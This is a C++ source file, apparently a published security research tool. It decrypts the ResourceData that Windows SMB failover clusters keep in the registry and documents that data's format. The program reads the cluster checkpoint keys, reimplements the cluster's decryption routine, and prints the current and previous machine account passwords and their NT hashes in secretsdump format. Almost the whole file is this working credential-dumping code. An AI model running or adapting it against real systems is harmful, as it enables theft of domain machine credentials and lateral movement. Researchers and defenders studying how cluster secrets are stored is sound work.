// Copyright (C) 2025 Evan McBroom and Garrett Foster // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // // Compile: cl /EHsc /MT decrypt_cluster_resourcedata.cpp // // The code may be used to encrypt or decrypt the ResourceData // content which SMB cluster servers store in the registry. // // The current format of ResourceData is as follows: // struct { // DWORD PREFIX; // Believed to be the data format version // DWORD BUFFER_IV_SIZE; // DWORD BUFFER_KEY_SIZE; // // BUFFER_IV // // BUFFER_KEY // // BUFFER_DATA // }; // // At the time of writing, the value of PREFIX is stored as 2. // The decrypted data consists of the current machine account // password for the SMB cluster followed by its previous // machine account password, if present. The format of both // passwords is as follows: // union { // struct { // DWORD PasswordLength; // BYTE Password[]; // }; // BYTE Data[260]; // }; // #define UMDF_USING_NTSTATUS #define _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING #include #include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "bcrypt.lib") /// /// Implements a slightly modified version of the Crypto::CryptProvider class that is used /// by the clusres.dll!NetNameLib::CryptoAccessV2 api to decrypt ResourceData content. /// /// The class methods differ from the original in the following ways: /// - CryptProvider does not take a 4th dwFlags parameter. That parameter was ignored in /// Microsoft's implementation of the class. /// - Encrypt and Decrypt expect to be provided the entire contents of ResourceData. /// Microsoft's implementation expects to be provided with the contents of ResourceData /// with the leading 4 byte PREFIX data removed. This change was done for convenience. /// class CryptProvider { public: CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container); virtual ~CryptProvider(); void Encrypt(const std::vector& plaintext, std::vector& resourceData) { this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData); } void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector& resourceData); void Decrypt(std::vector&); private: std::wstring _keyName; HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) }; HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) }; BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE }; CryptProvider(const CryptProvider&) = default; CryptProvider& operator=(const CryptProvider&) = default; void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector& secret, std::vector& iv); BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); }; CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container) { auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) }; if (!succeeded) { if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) { throw GetLastError(); } } _algoProvider = OpenAlgorithm(L"AES"); } CryptProvider::~CryptProvider() { if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) { BCryptCloseAlgorithmProvider(_algoProvider, 0); } if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) { CryptReleaseContext(_cryptProvider, 0); } } // Not fully tested void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector& resourceData) { // Get a key, iv, and secret to use when encrypting the plaintext BCRYPT_KEY_HANDLE key; std::vector secret; std::vector iv; GenerateCryptKey(key, secret, iv); // Get the size of the encrypted secret and ciphertext // Use those values to resize the output data to be able to store them auto encryptedSecretBufferSize{ DWORD(secret.size()) }; EncryptData(&encryptedSecretBufferSize, nullptr, 0); ULONG ciphertextSize; auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &ciphertextSize, BCRYPT_BLOCK_PADDING) }; if (status != STATUS_SUCCESS) { throw status; } const auto headerSize{ sizeof(int) * 3 }; resourceData.resize(headerSize + iv.size() + encryptedSecretBufferSize + ciphertextSize); // Store the currently used prefix value (e.g., 2) and size of the iv and secret in the output data *reinterpret_cast(resourceData.data()) = 2; auto embeddedIvSize{ reinterpret_cast(resourceData.data()) + 1 }; auto embeddedSecretSize{ reinterpret_cast(resourceData.data()) + 2 }; *embeddedIvSize = int(iv.size()); *embeddedSecretSize = int(encryptedSecretBufferSize); // Embed the iv auto embeddedIv{ resourceData.data() + headerSize }; if (iv.size()) { std::memcpy(embeddedIv, iv.data(), iv.size()); } auto embeddedSecret{ embeddedIv + *embeddedIvSize }; auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize }; // Encrypt the plaintext and store its ciphertext in the output data status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, embeddedIv, ULONG(iv.size()), embeddedCiphertext, ciphertextSize, &ciphertextSize, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { throw status; } // Embed the secret and encrypt it in-place if (secret.size()) { std::memcpy(embeddedSecret, secret.data(), secret.size()); auto secretSize{ DWORD(secret.size()) }; EncryptData(&secretSize, embeddedSecret, encryptedSecretBufferSize); } } void CryptProvider::Decrypt(std::vector& data) { DWORD error{ 0 }; // Get the key stored in the CNG container that was used to encrypt the embedded secret if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { // Pointers to each component of the resource data const auto headerSize{ sizeof(int) * 3 }; auto embeddedIvSize{ reinterpret_cast(data.data()) + 1 }; auto embeddedSecretSize{ reinterpret_cast(data.data()) + 2 }; auto embeddedIv{ data.data() + headerSize }; auto embeddedSecret{ embeddedIv + *embeddedIvSize }; auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize }; auto size{ DWORD(*embeddedSecretSize) }; // Decrypt the embedded secret in-place if (CryptDecrypt(_exchangeKey, 0, true, 0, embeddedSecret, &size)) { BCRYPT_KEY_HANDLE cryptKey; // Generate a new key from the decrypted embedded secret auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, nullptr, 0, embeddedSecret, size, 0) }; if (status == STATUS_SUCCESS) { auto cbCiphertext{ ULONG(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) }; status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING); if (status != STATUS_SUCCESS) { status = status; } } else { error = status; } } else { error = GetLastError(); } } else { error = GetLastError(); } if (error) { throw error; } } void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) { auto error{ CryptEncrypt(_exchangeKey, 0, true, 0, pData, pdwSize, pData ? static_cast(cbData) : 0) || (!pData && pdwSize) ? ERROR_SUCCESS : GetLastError()}; if (error != ERROR_SUCCESS) { throw error; } } void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector& secret, std::vector& iv) { NTSTATUS error{ STATUS_SUCCESS }; auto algorithm{ OpenAlgorithm(L"RNG") }; if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { CryptDestroyKey(_exchangeKey); } if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { DWORD blockLength; ULONG cbResult; error = BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast(&blockLength), sizeof(blockLength), &cbResult, 0); if (error == STATUS_SUCCESS) { iv.resize(blockLength); error = BCryptGenRandom(algorithm, iv.data(), ULONG(iv.size()), 0); if (error == STATUS_SUCCESS) { secret.resize(blockLength); error = BCryptGenRandom(algorithm, secret.data(), ULONG(secret.size()), 0); if (error == STATUS_SUCCESS) { error = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), ULONG(secret.size()), 0); } } } } else { error = GetLastError(); } (void)BCryptCloseAlgorithmProvider(algorithm, 0); if (error) { throw error; } } BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) { BCRYPT_ALG_HANDLE hAlgorithm; auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) }; if (error != STATUS_SUCCESS) { throw error; } return hAlgorithm; } auto GetNtlmOwf(const std::wstring& password) { std::vector ntlmOwf; HCRYPTPROV provider; if (CryptAcquireContextW(&provider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { HCRYPTHASH hash; if (CryptCreateHash(provider, CALG_MD4, 0, 0, &hash)) { if (CryptHashData(hash, reinterpret_cast(password.data()), DWORD(password.size() * sizeof(wchar_t)), 0)) { ntlmOwf.resize(MSV1_0_OWF_PASSWORD_LENGTH); auto dataLength{ DWORD(ntlmOwf.size()) }; CryptGetHashParam(hash, HP_HASHVAL, ntlmOwf.data(), &dataLength, 0); } CryptDestroyHash(hash); } CryptReleaseContext(provider, 0); } return ntlmOwf; } auto GetRegistryData(HKEY hive, const std::wstring& subKey, const std::wstring& valueName) { std::vector data; HKEY key; if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) { DWORD dataSize; if (RegQueryValueExW(key, valueName.c_str(), NULL, NULL, NULL, &dataSize) == ERROR_SUCCESS) { data.resize(dataSize); (void)RegQueryValueExW(key, valueName.c_str(), NULL, NULL, data.data(), &dataSize); } RegCloseKey(key); } return data; } auto GetRegistrySubKeys(HKEY hive, const std::wstring& subKey) { std::vector names; HKEY key; if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) { WCHAR name[MAX_PATH]; // A sufficient size for our needs for (DWORD index{ 0 }; RegEnumKeyW(key, index, name, sizeof(name) / sizeof(name[0])) == ERROR_SUCCESS; index++) { names.emplace_back(name); } RegCloseKey(key); } return names; } template inline void OutputHex(const Container& container) { for (const auto& c : container) std::wcout << std::setw(2) << std::setfill(L'0') << std::hex << static_cast(static_cast(c)); } inline void OutputHex(const std::wstring& data) { OutputHex(std::string(reinterpret_cast(data.data()), data.size() * sizeof(wchar_t))); } int wmain(int argc, wchar_t* argv[]) { std::wstring checkpointsKey{ L"Cluster\\Checkpoints" }; auto checkpoints{ GetRegistrySubKeys(HKEY_LOCAL_MACHINE, checkpointsKey) }; for (const auto checkpoint : checkpoints) { auto crypto{ std::wstring(reinterpret_cast(GetRegistryData(HKEY_LOCAL_MACHINE, checkpointsKey + L"\\" + checkpoint + L"\\Crypto", L"Checkpoints").data())) }; auto providerType{ std::stoi(crypto.substr(0, crypto.find(L"\\"))) }; // In testing this has has been 1, or PROV_RSA_FULL crypto.erase(0, crypto.find(L"\\") + 1); auto provider{ crypto.substr(0, crypto.find(L"\\")) }; // In testing this has has been "Microsoft Enhanced Cryptographic Provider v1.0" crypto.erase(0, crypto.find(L"\\") + 1); auto container{ crypto.erase(0, crypto.find(L"\\") + 1) }; auto resourceKey{ std::wstring{ L"Cluster\\Resources\\" } + checkpoint }; auto resourceData{ GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey + L"\\Parameters", L"ResourceData") }; if (resourceData.size()) { try { // Decrypt ResourceData CryptProvider cryptoProvider(provider, providerType, container); cryptoProvider.Decrypt(resourceData); // Parse out the plaintext const auto headerSize{ int(sizeof(int)) * 3 }; auto embeddedIvSize{ *(reinterpret_cast(resourceData.data()) + 1) }; auto embeddedSecretSize{ *(reinterpret_cast(resourceData.data()) + 2) }; auto plaintextOffset{ headerSize + embeddedIvSize + embeddedSecretSize }; auto plaintext{ resourceData.data() + plaintextOffset }; // Parse out the password that is in the plaintext // The first DWORD is the password length, but the password data can contain a null // and the effective length is all data before the null. So we skip the first DWORD // and allow std::wstring to chop of the data when it identifies a null. auto passwordDataLength{ *reinterpret_cast(plaintext) }; std::wstring password(reinterpret_cast(plaintext + sizeof(int))); // Output the password and its nt owf hash. The nt owf will conform to secretsdump's format auto ntlmOwf{ GetNtlmOwf(password) }; auto name{ std::wstring(reinterpret_cast(GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey, L"Name").data())) }; std::wcout << "[+] Decrypted checkpoint " << checkpoint << std::endl; std::wcout << " Pass: "; OutputHex(password); std::wcout << std::endl; std::wcout << " Hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl; // Parse out the previous password. This will be the same as the current password // until the machine account password is rotated. auto previousPasswordOffset{ 260 }; // The data for previous password is stored at offset 260 auto previousPasswordSize{ int(resourceData.size()) - plaintextOffset - previousPasswordOffset }; if (previousPasswordSize > 0) { auto previousPasswordDataLength{ *reinterpret_cast(plaintext + previousPasswordOffset) }; std::wstring previousPassword(reinterpret_cast(plaintext + previousPasswordOffset + sizeof(int))); // If a previous password does not exist, then previousPasswordDataLength will be 0 // and the storage area for the previous password may contain a password with the // first wchar_t null'd to make the effective length of its data also 0. In testing, // when this occurs the previous password will contain a copy of the current password. // This will happen when a user "repairs" the active directory object for the machine // account. if (previousPasswordDataLength) { try { // Output the previous password and its nt owf hash auto ntlmOwf{ GetNtlmOwf(previousPassword) }; std::wcout << L" Previous pass: "; OutputHex(previousPassword); std::wcout << std::endl; std::wcout << L" Previous hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl; } catch (...) { std::wcerr << L"[-] Failed to decrypt the previous password for checkpoint " << checkpoint << L"." << std::endl; } } else { auto partialPreviousPasswordSize{ previousPasswordSize - int(sizeof(int)) - int(sizeof(wchar_t)) }; auto partialPreviousPassword{ reinterpret_cast(plaintext + previousPasswordOffset + sizeof(int) + sizeof(wchar_t)) }; if (partialPreviousPasswordSize > 0 && *partialPreviousPassword) { std::wcout << L" [!] The previous password data was overwritten and could only be partially recovered" << std::endl; std::wcout << " Partial previous pass: ????"; OutputHex(std::wstring(partialPreviousPassword)); std::wcout << std::endl; } else { std::wcout << " Previous pass: (none)" << std::endl; std::wcout << " Previous hash: (none)" << std::endl; } } } } catch (...) { std::wcerr << L"[-] Failed to decrypt ResourceData for checkpoint " << checkpoint << L"." << std::endl; } } else { std::wcerr << L"[-] Failed to find ResourceData for checkpoint " << checkpoint << L"." << std::endl; } } }